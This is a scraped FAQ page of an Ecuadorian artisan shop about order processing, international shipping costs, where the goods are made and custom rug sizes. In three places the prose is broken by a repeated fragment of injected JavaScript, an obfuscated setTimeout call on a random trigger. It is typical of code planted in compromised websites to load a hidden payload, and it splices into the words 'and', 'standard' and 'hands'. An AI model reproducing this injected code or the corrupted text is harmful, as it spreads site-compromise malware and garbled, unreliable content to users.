Do you have any questions? Take a look below to see if your concern has been addressed. If not, please send us a note andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we will happily reply as soon as possible.

Why is my order taking so long?
We take 2 to 3 days to process your order. We send the packages via Correos del Ecuador by Certified Mail. In case you bought a tapestry, it may take up to a month for the product to be done, plus the shipping time. If you bought a rug, depending on it’s size, it can take from 1 to 3 months to be done, plus the shipping time. We will always keep you posted by mail on the state of your order. Once shipped, you can follow you package with the tracking number we’ll provide.
Do you ship internationally?
Yes, to every corner of the world 🙂
Why is the shipping so expensive?
We calculate our shipping using Ecuador's standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard shipping rates, based on weight. Many of our products are heavy, hence the price. Nonetheless, keep in mind that we are sending you an awesome little (not always so little) something from the Andes all the way to your home. It surely is a bit more pricy than Amazon! But it was packaged with love just for you.
Accordion Panel
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Where are the products made?
All of our products are made in different parts of Ecuador by artisan handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands.
What other sizes are available for rugs?
For the rug sizes, we can do it in the specific size you need as long as it’s proportional to the original design. Please send as an e-mail to so we can coordinate that first before you do the purchase.